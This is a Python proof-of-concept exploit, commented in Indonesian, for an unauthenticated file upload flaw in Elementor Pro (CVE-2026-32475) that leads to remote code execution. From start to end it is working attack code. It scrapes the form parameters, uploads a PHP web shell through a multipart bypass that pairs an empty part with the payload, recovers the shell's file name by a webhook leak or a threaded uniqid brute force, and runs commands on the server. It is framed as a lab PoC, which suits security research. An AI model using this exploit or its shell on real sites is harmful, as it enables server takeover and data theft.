#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC CVE-2026-32475 — Elementor Pro <= 4.2.1 (CWE-434, CVSS 9.0)
Unauthenticated arbitrary file upload via Forms File Upload field -> RCE.

Akar masalah: modules/forms/fields/upload.php di Elementor Pro.
Loop validation() berhenti total (return) saat menemukan part kosong
(UPLOAD_ERR_NO_FILE) pada field yang tidak wajib, sedangkan loop process_field()
hanya melewatinya (continue) lalu tetap memindahkan part berikutnya TANPA
memeriksa ekstensi. Dua part untuk field yang sama — part kosong dulu, lalu
payload .php — membuat blocklist ekstensi terlewati dan file dieksekusi dari
wp-content/uploads/elementor/forms/<uniqid>.php.

Prasyarat lab: halaman published berisi widget Form Elementor Pro dengan
field File Upload opsional (Required = No) — konfigurasi umum di dunia nyata.

Catatan kejujuran:
* Filename hasil upload = uniqid() + '.php' (nama asli dibuang), sehingga
  penemuan URL shell butuh pemulihan nama: (a) UTAMA di lab ini — action
  webhook form Elementor mengirim URL file ke endpoint attacker
  (attacker-capture.php), teknik eksfiltrasi yang sama dengan email
  [all-fields] di dunia nyata; (b) alternatif --brute: sapuan penuh
  mikrodetik uniqid() dengan anchor jam lokal (PoC dan lab satu mesin).
* .htaccess di folder forms hanya men-set Content-Disposition: attachment;
  PHP tetap dieksekusi server-side oleh Apache (bukti dieksekusi via ?c=).
"""

import argparse
import concurrent.futures as futures
import json
import re
import sys
import time
import uuid
from email.utils import parsedate_to_datetime

import requests

requests.packages.urllib3.disable_warnings()

S = requests.Session()
S.verify = False
S.headers.update({"User-Agent": "Mozilla/5.0 Click2Lab-PoC/1.0 (CVE-2026-32475)"})
TIMEOUT = 20


def banner(target):
    print("[*] ==========================================================")
    print("[*] PoC CVE-2026-32475 — Elementor Pro <= 4.2.1")
    print("[*] Unauth file upload (desync loop validation/process) -> RCE")
    print("[*] Target : {}".format(target))
    print("[*] ==========================================================")


def tahap_1_ekstrak_form(target):
    print("[*] [1/6] Mengambil halaman dan mengekstrak parameter form Elementor ...")
    try:
        r = S.get(target, timeout=TIMEOUT)
    except requests.RequestException as e:
        print("[-] Halaman tidak terjangkau: {}".format(e))
        return None
    if r.status_code != 200:
        print("[-] HTTP {} — halaman form tidak tersedia.".format(r.status_code))
        return None
    html = r.text

    def grab(pattern):
        m = re.search(pattern, html)
        return m.group(1) if m else None

    post_id = grab(r'name="post_id"\s+value="(\d+)"')
    form_id = grab(r'name="form_id"\s+value="([A-Za-z0-9_-]{2,32})"')
    queried_id = grab(r'name="queried_id"\s+value="(\d+)"') or post_id
    m = re.search(r'type="file"[^>]*name="form_fields\[([^\]]+)\]'
                  r'|name="form_fields\[([^\]]+)\][^>]*type="file"', html)
    field = (m.group(1) or m.group(2)) if m else None
    m = re.search(r'type="text"[^>]*name="form_fields\[([^\]]+)\]"', html)
    text_field = m.group(1) if m else None
    m = re.search(r'type="email"[^>]*name="form_fields\[([^\]]+)\]"', html)
    email_field = m.group(1) if m else None

    if not (post_id and form_id and field):
        print("[-] Form Elementor / field upload tidak ditemukan di halaman.")
        return None
    print("[+] post_id={}, form_id={}, queried_id={}".format(post_id, form_id, queried_id))
    print("[+] field upload = {}, field teks = {}, field email = {}".format(field, text_field, email_field))
    return {"post_id": post_id, "form_id": form_id, "queried_id": queried_id,
            "field": field, "text_field": text_field, "email_field": email_field}


def tahap_2_verifikasi_target(target, form):
    print("[*] [2/6] Memverifikasi endpoint AJAX form Elementor Pro ...")
    base = target.split("/?")[0].rstrip("/")
    try:
        r = S.post(base + "/wp-admin/admin-ajax.php",
                   data={"action": "elementor_pro_forms_send_form"},
                   timeout=TIMEOUT,
                   headers={"X-Requested-With": "XMLHttpRequest"})
    except requests.RequestException as e:
        print("[-] Gagal menghubungi admin-ajax.php: {}".format(e))
        return False
    # Endpoint terdaftar (priv maupun nopriv) -> action dikenali meski validasinya gagal.
    if "not found" in r.text.lower() and "0" == r.text.strip():
        print("[-] Action elementor_pro_forms_send_form tidak dikenali — Pro tidak aktif?")
        return False
    print("[+] Endpoint merespons (HTTP {}) — action form dikenali server.".format(r.status_code))
    return True


def tahap_3_submit(base, form, marker):
    print("[*] [3/6] Mengirim multipart: part kosong [0] + payload .php [1] ...")
    payload_name = "lamaran-{}.php".format(uuid.uuid4().hex[:6])
    payload = ("<?php\n"
               "if (isset($_GET['c'])) {\n"
               "    $o = array(); exec($_GET['c'], $o);\n"
               "    echo implode(\"\\n\", $o);\n"
               "} else { echo 'UPLOADED-NO-CMD'; }\n"
               "?>").encode()
    data = {"action": "elementor_pro_forms_send_form",
            "post_id": form["post_id"], "form_id": form["form_id"],
            "queried_id": form["queried_id"]}
    if form.get("text_field"):
        data["form_fields[{}]".format(form["text_field"])] = "Peneliti Lab"
    if form.get("email_field"):
        data["form_fields[{}]".format(form["email_field"])] = "lab@example.test"
    files = [
        ("form_fields[{}][0]".format(form["field"]), ("", b"", "application/octet-stream")),
        ("form_fields[{}][1]".format(form["field"]), (payload_name, payload, "application/octet-stream")),
    ]
    t0 = time.time()
    try:
        r = S.post(base + "/wp-admin/admin-ajax.php", data=data, files=files,
                   timeout=TIMEOUT,
                   headers={"X-Requested-With": "XMLHttpRequest", "Accept": "application/json"})
    except requests.RequestException as e:
        print("[-] Submit gagal: {}".format(e))
        return None
    t1 = time.time()
    body = r.text
    blocked = any(w in body for w in ("not allowed", "not_allowed", "invalid_nonce",
                                      "permission_denied"))
    if blocked:
        print("[-] Upload DITOLAK — extension check berjalan (target kemungkinan PATCHED 4.2.2+).")
        print("[-]   respons: {}".format(body[:160]))
        return None
    try:
        d = json.loads(body)
    except ValueError:
        print("[-] Respons bukan JSON: {}".format(body[:160]))
        return None
    if not d.get("success"):
        print("[-] Submit ditolak: {}".format(body[:200]))
        return None
    print("[+] Server menerima submission (success:true) — payload .php lolos tanpa cek ekstensi.")
    print("[*]   Submit memakan {:.3f} detik (jendela waktu uniqid).".format(t1 - t0))
    date_sec = None
    dh = r.headers.get("Date")
    if dh:
        try:
            date_sec = int(parsedate_to_datetime(dh).timestamp())
        except Exception:
            pass
    return {"t0": t0, "t1": t1, "date_sec": date_sec, "marker": marker}


def kandidat_uniqid(t0, t1, window, step_us):
    # uniqid() = detik unix (32-bit) + mikrodetik (0..999999, SEMUA nilai acak).
    # Karena PoC dan lab satu mesin, waktu move terjadi persis di antara
    # t0 (kirim) dan t1 (respons diterima); window = toleransi detik di tiap sisi.
    # Sapuan harus MENYELURUH per mikrodetik — langkah kasar akan melewatkan
    # nilai acak (bug awal PoC ini: step 500 melewatkan micro=568873).
    slack = 150000  # 0.15 detik
    for sec in range(int(t0) - window, int(t1) + window + 1):
        low = max(0, int((t0 - sec) * 1e6) - slack)
        high = min(999999, int((t1 - sec) * 1e6) + slack)
        micro = low
        while micro <= high:
            yield "{:08x}{:05x}.php".format(sec & 0xFFFFFFFF, micro)
            micro += step_us


def tahap_4_capture(base, info, retries=15):
    print("[*] [4/6] Mengambil kembali URL file dari endpoint attacker (capture webhook) ...")
    url = base + "/wp-content/uploads/c2s-capture.json"
    for i in range(1, retries + 1):
        try:
            r = S.get(url, timeout=TIMEOUT)
        except requests.RequestException:
            r = None
        if r is not None and r.status_code == 200:
            try:
                d = json.loads(r.text)
            except ValueError:
                d = None
            if d and d.get("file_urls"):
                u = d["file_urls"][0]
                nama = u.rstrip("/").rsplit("/", 1)[-1]
                print("[+] Webhook form membocorkan URL file upload: {}".format(u))
                return nama
        print("[!] Percobaan {}/{}: capture belum ada; tunggu 1 detik ...".format(i, retries))
        time.sleep(1)
    print("[-] Capture webhook tidak diterima. Alternatif: jalankan ulang dengan --brute.")
    return None


def tahap_4_brute(base, info, window, step_us, workers):
    print("[*] [4/6] Menebak nama file uniqid() di wp-content/uploads/elementor/forms/ ...")
    print("[*]   Sapuan penuh mikrodetik — ini butuh waktu (request AJAX lokal).")
    url = base + "/wp-content/uploads/elementor/forms/"
    marker = info["marker"]
    temuan = []

    def coba(nama):
        if temuan:
            return
        try:
            r = S.get(url + nama, params={"c": "echo " + marker}, timeout=6)
            if r.status_code == 200 and marker in r.text:
                temuan.append((nama, r.text.strip()))
        except requests.RequestException:
            pass

    total = 0
    with futures.ThreadPoolExecutor(max_workers=workers) as pool:
        for _ in pool.map(coba, kandidat_uniqid(info["t0"], info["t1"], window, step_us)):
            total += 1
            if temuan:
                break
    if not temuan:
        print("[-] Nama file tidak ditemukan dalam window ({} kandidat dicoba).".format(total))
        print("[-] Upload TERBUKTI diterima, eksekusi belum terkonfirmasi. Perbesar --window / --step-us.")
        return None
    nama, out = temuan[0]
    print("[+] Ditemukan: {} ({} kandidat, {} worker).".format(nama, total, workers))
    return nama


def tahap_5_bukti_eksekusi(base, nama, marker):
    print("[*] [5/6] Membuktikan eksekusi kode server-side via shell terupload ...")
    url = base + "/wp-content/uploads/elementor/forms/" + nama
    r = S.get(url, params={"c": "echo {} & whoami".format(marker)}, timeout=TIMEOUT)
    if marker not in r.text:
        print("[-] Marker tidak muncul — file tidak dieksekusi PHP?")
        return False
    print("[+] ==========================================================")
    print("[+] RCE TERVERIFIKASI — output perintah server-side:")
    for line in r.text.strip().splitlines():
        print("[+]   {}".format(line))
    print("[+] ==========================================================")
    return True


def tahap_6_tes_perintah(base, nama, cmd):
    print("[*] [6/6] Menjalankan perintah bukti: {}".format(cmd))
    r = S.get(base + "/wp-content/uploads/elementor/forms/" + nama,
              params={"c": cmd}, timeout=TIMEOUT)
    print("[+]   {}".format(r.text.strip()[:300]))
    return True


def main():
    ap = argparse.ArgumentParser(description="PoC CVE-2026-32475 (lab lokal)")
    ap.add_argument("--target", default="http://cve-2026-32475.test/?page_id=5",
                    help="URL halaman berisi form Elementor Pro")
    ap.add_argument("--cmd", default="echo POC-RCE-OK-CVE-2026-32475",
                    help="perintah bukti tahap 6")
    ap.add_argument("--window", type=int, default=2,
                    help="toleransi detik di tiap sisi saat menebak uniqid (default 2)")
    ap.add_argument("--step-us", type=int, default=1,
                    help="langkah mikrodetik; HARUS 1 agar sapuan penuh (default 1)")
    ap.add_argument("--workers", type=int, default=64,
                    help="jumlah thread penebak nama file (default 64, khusus --brute)")
    ap.add_argument("--brute", action="store_true",
                    help="pulihkan nama file via brute-force uniqid, tanpa webhook capture")
    a = ap.parse_args()

    banner(a.target)
    form = tahap_1_ekstrak_form(a.target)
    if not form:
        sys.exit(1)
    base = a.target.split("/?")[0].rstrip("/")
    if not tahap_2_verifikasi_target(a.target, form):
        sys.exit(1)
    marker = "M" + uuid.uuid4().hex[:10]
    info = tahap_3_submit(base, form, marker)
    if not info:
        sys.exit(1)
    if a.brute:
        nama = tahap_4_brute(base, info, a.window, a.step_us, a.workers)
    else:
        nama = tahap_4_capture(base, info)
    if not nama:
        sys.exit(2)
    if not tahap_5_bukti_eksekusi(base, nama, marker):
        sys.exit(1)
    tahap_6_tes_perintah(base, nama, a.cmd)
    print("[*] PoC selesai: rantai upload -> RCE BERHASIL end-to-end.")
    sys.exit(0)


if __name__ == "__main__":
    main()
